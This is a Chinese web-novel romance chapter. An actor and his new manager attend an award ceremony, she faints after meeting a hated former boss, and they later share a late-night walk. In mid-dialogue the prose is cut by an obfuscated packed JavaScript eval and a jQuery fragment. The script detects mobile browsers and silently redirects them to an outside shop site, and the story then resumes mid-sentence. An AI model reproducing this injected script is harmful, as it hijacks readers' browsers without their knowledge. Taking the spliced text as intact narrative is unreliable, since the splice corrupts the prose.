自综艺停播以后,郁沨久不露面,除了解约消息之外便再无新动态,粉丝每日惴惴不安担心他是否就此退圈,直到新一届的金龙奖颁奖典礼官宣出他将作为颁奖嘉宾出席。
开往颁奖典礼会场的黑色商务车平稳行驶在晚高峰的道路中央。
米粒正单膝跪坐在后排座椅上,低着头替郁沨调整西装领结,神态认真专注,半扎的发丝顺着动作滑落,带着女生独有的馨香撩拨着郁沨的鼻尖。
郁沨克制地忍耐住她带来的酥痒,神情自然地替她将发丝挽在耳后,手却没有收回,而是捧起女生的脸颊安慰:“别紧张,只是一场小活动而已。”
米粒睫毛上下扇动,眨了眨因为久睁而干涩的眼:“这可是我就职以来的第一场活动,不能掉以轻心。”
郁沨捏了捏她的手,拉着人坐回座位上。
“有我在,没事的。不是说过吗,我会让你省心的。”
米粒低头看着两人交握的手,忍不住道:“我怕出什么纰漏,害你出丑怎么办?”
“能怎么出丑?总不至于裤子拉链没拉上吧。”郁沨轻笑道。
眼见着米粒当真想要检查一遍,郁沨连忙托起她的脑袋阻止女生继续往下。
“相信相信你老板,嗯?我都经历这么多次活动了,红毯和领奖都当是家常便饭,况且今天也就是上台读个名单的事,比领奖还轻松。”
“万一获奖人名是你不会读的字怎么办?”米粒忽然想到。
郁沨真的忍俊不禁:“唔……那我就篡改名单,当场换个人上台领奖。”
“好了,放心,今天到场的都是我相熟的人,不存在你说的这种情况。”郁沨安抚地伸出手环抱住身体过于紧张僵直的女生,揉了揉她垂下的发丝,“安心在台下等我回来就好。”
这个拥抱大概是今天的脱敏治疗吧,米粒靠在他的怀里轻轻闭了闭眼,熟悉的气味传来,确实让扑通乱跳的心脏缓和了一些。
车辆驶过了晚高峰的堵点,顺利地在红毯结束前抵达。因为郁沨的位置排在最后压轴入场,抵达的时间对他来说还绰绰有余。
在埃文忍无可忍的轻咳声中,他被提醒该下车了。
已有工作人员在车门外接驳,郁沨松开怀里的人,轻声道:“那我走了。”
“嗯。”
“别担心,乖乖的。”
米粒点点头:“你快去吧。”
坐在前排的埃文看了看后视镜里的两人,欲言又止,想问的话在喉咙里滚了几圈又咽了回去。
算了,两个都是领导,得罪不起。
心里仍旧不服地暗骂了一句,都这样了还说没谈,这两位是不是把我当狗骗呢。
郁沨随着工作人员引导走上红毯,几乎瞬间便被闪光灯环绕,各大媒体一边按着快门一边呼喊“郁老师看这边”。男人则是熟练地定点拍照,签名,接受主持人采访,轻松自如游刃有余。
直到远远看着他采访完毕走进会场后,米粒才长舒一口气,吩咐埃文开往停车区。
米粒正在手机上对接今日的流程,虽说郁沨叫她不要操心,但她仍有一堆事情要做。
同主办方反复确认入围名单、红毯及颁奖流程、嘉宾信息。
同媒体方面进行对接,提前收集媒体采访提纲,安排好后台采访的时间。
还有刚刚在酒店拍摄的照片和视频素材需要配合商务团队进行宣传和公关稿的发布。
每一件事都在与新公司和新团队磨合,作为经纪人,米粒必须亲历亲为,防止意外情况的发生。
从前Justin没有注意到的细节,她盯得格外仔细,尤其是媒体访谈方面,严禁提起何乔。
不仅如此,金龙奖作为国内三大权威电影奖项之一,今晚受邀前来的几乎都是名声赫赫的电影界大拿,米粒需要主动去跟他们交谈介绍。
根本没有时间待在台下关心今天是谁获了奖,米粒这一晚上忙得晕头转向,连郁沨颁完奖下了台都没注意,还是通过身旁某位导演的提醒才发现郁沨已经离席。
米粒随即从座椅上站起,准备出去找他。
颁奖典礼的后台比光鲜亮丽的会场要混乱繁忙许多,米粒逆着人流向外走,不知是谁的道具一角撞到了她的腰侧,绊得她一个趔趄。
没有来得及吃东西的胃在碰撞下翻滚着难受,她捂着痛处冷汗直冒,靠在走廊的墙上缓了一会儿。
深呼吸几次,感受到稍有好转后,她撑着墙,准备先回到休息室去。
刚刚转过身,在光线的阴影里,出现了一张带着惊讶神情的男人的脸。
走廊的灯光过于晃眼,照得米粒不适加重,她后退一步。
男人的问候声却依旧跟了上来。
“米粒,刚刚离得远就觉得像,没想到真的是你。”
视线从她的画着淡妆的脸颊打量至全身,最后停留在裸露的小腿肌肤上:“现在还是这么漂亮,变成熟了,看来现在的工作很适合你。”
眼见米粒没有回应,他挑了挑眉:“怎么,不记得我了?”
男人西装革履,似乎要从阴影中走出。
米粒顿时大脑一阵眩晕,后脊发凉,忍不住咬了咬舌尖强迫自己清醒。
她避开了男人伸出的搀扶的手,侧过身匆忙说道:“不好意思,我有点事先走了。”
不顾身后人意味深长的目光,米粒踉踉跄跄地离开走廊。
想要呕吐的感觉正在胃里翻涌。
颈后湿湿冒着冷汗,手脚发麻。
郁沨是提前离场的。
因为惦记着团队里有个尽职尽责的经纪人,害怕她第一次经历大场面不知所措,所以在颁完奖后就提前离席,准备回来看看她需不需要帮忙。
只是没想到在休息室里竟然没看见她的身影,大概又在哪里忙碌着呢。
郁沨单手划开手机,正要给她打电话问问人在哪。
休息室的门在此刻被人推开,遍寻不到的身影出现在眼前。
郁沨站起身,声音温柔又无奈:“怎么回来得比我还要晚……”
却不想女生强撑着像是用尽了全身的力气才走到了他的面前,此刻已是筋疲力尽。
来不及说一句话,米粒直直地栽倒在郁沨的怀里。
郁沨接住倒下的纤弱身体,几乎心脏骤停。
商务车疾驰在深夜里,停靠在医院路边,郁沨直接抱着怀里的人下了车。
被紧急叫来加班的陆霆心情十分无语。
“低血糖,没什么大碍。”他看了看床上眉眼紧闭的女生,伸出手拍了拍郁沨的肩。
“怎么被吓成这样。”
“我就是……没事。”郁沨按住发痛的额头,卸了一口气地倚靠在沙发扶手上。
他以为,又是像上次一样,她带着一身伤回来。
连触碰都是疼痛,仿佛下一秒就要离他而去。
葡萄糖顺着输液管缓缓流入,女生刚刚苍白的脸色有了明显的好转。
还好,只是低血糖而已。
郁沨蹲下来,握住她另一边的手,放在唇边。
“嗯……”女生眉头微蹙,不安分地动了动,睁开了眼睛。
熟悉的病房,熟悉的病床,熟悉的陪护还穿着西装。
“我怎么在这?”黏黏糯糯的声音证明女生还不够清醒,只来得及认清身边的人。
“活动结束了吗?”她很关心这件事。
“结束了。”郁沨没有放开她的手,语气里心疼掺着责怪,“是不是没有好好吃饭。”
“忙忘了。”米粒有些心虚,又拉着他垫背,“你不是也没吃吗?”
“以后不会了,不管什么活动,我都先陪着你吃完饭再走。”
“男明星不做身材管理了吗?”
“是啊,总不能我也低血糖晕倒在红毯上吧。”
“那完蛋了。”米粒笑得眉眼弯弯,“幸好我不是女明星,晕倒也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947633|211510||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只会晕倒在后台。”
“还挺得意。”郁沨敲敲她的脑袋,清脆的一声“嘣”。
“哎呀。”米粒痛得眯起一只眼睛,“这个人好凶哦,打我。”
“不打不长记性。”
“我错了嘛。”她看着他笑得很乖,也不提之前碰到了不想见的人,只是摇着他的袖子顺从地说,“我们去吃宵夜好不好,我请你。”
“不难受了?”
“我想去外面走一走,吹吹风。”刚刚恶心呕吐的感觉还没完全散去,米粒仍觉得胸口闷闷的。
“好,我陪你一起。”
葡萄糖输完已是深夜,街上仍在营业的餐饮店寥寥无几,但好在行人也少,没人会在意穿着高定礼服的影帝正牵着一个女生在街头游荡。
“郁沨你看,是烤红薯欸。”米粒远远地就看见了前方推车里冒出来的热气,兴奋地跳起来,“我请你吃宵夜。”
大晚上的带着男明星吃高糖高碳水,郁沨笑她到底是还没进化出经纪人的觉悟。
“只吃一点点有什么关系,你又不胖,还有腹肌。”
“要是吃得没有腹肌了该怎么办?小猫会移情别恋吗?”
“唔……”
“你犹豫了。”郁沨严正指出。
“没有没有。”米粒笑着躲避郁沨质问的眼神,“我不敢的呀。”
手指从他的指缝中穿过,然后轻轻扣在一起,米粒小声问:“我们要是被狗仔拍到怎么办?”
郁沨看了看眼前这位前任狗仔,平静道:“把照片买断。”
“为什么?”
“现在人还没追到,等追到以后官宣的时候再发。”
米粒脸红扑扑的:“听不懂你在说什么。”
郁沨勾唇没再解释,只是反问:“今天,遇到什么事了吗?”
“嗯?”
“感觉你回来的状态跟之前不太一样。”郁沨到底是很敏锐的,米粒的饮食习惯和身体状况他一清二楚,不至于一顿饭不吃就饿到低血糖的程度。
“遇到谁了?”他尝试问道。
“很讨厌的前老板。”
“刘福?他也说不上讨厌吧。”
“不是他,是我第一份工作的老板。”
米粒抬起头问,“郁沨,如果工作里遇到很讨厌的人该怎么办?”
“远离他,或者让他远离。”
“可要是我没有这个能力做到呢?”
郁沨摸摸米粒的头:“我让你做这份工作,是为了让你拥有主动选择别人的权力。以我现在的身份和地位,你当然有这样的资格,不需要委曲求全,知道吗?”
“知道啦。”
郁沨笑着说:“你可是满贯影帝的经纪人,到哪儿都得横着走。今天有没有认识很多人?”
“嗯嗯,好多导演说想和你合作,我要回去慢慢选。”
“能选个拿奖的本吗?”
“那必须的。”
“那我的大经纪人可真厉害。”
米粒拽拽他的袖子,笑得像是撒娇:“大经纪人现在有些走不动了,可以背一下吗?”
郁沨无奈地看她,将手里装着红薯的塑料袋递给她,然后蹲下。
“上来吧,祖宗。”
“嘻嘻,高跟鞋拿一下。”米粒蹬掉鞋子趴了上来。
小腿在空中晃悠晃悠,女生甜软的声音从耳边酥酥划过:“郁沨,我这算在钓你吗?”
郁沨轻轻托了托背上的人:“你?就你这段位,钓得动哪条鱼?”
“钓得上最大的那条。”
郁沨轻笑:“我可是自愿上钩的。”
知道她那层自我保护的壳早已松动了太多,郁沨丝毫不去逼问到底还有多久。
本就是想一直照顾她保护她,她要闹就陪她玩暧昧游戏。朋友和男朋友身份的差距好像就隔着一层薄薄的纸,她不愿意捅破,那就游戏继续。
不过是哄娇气小猫而已。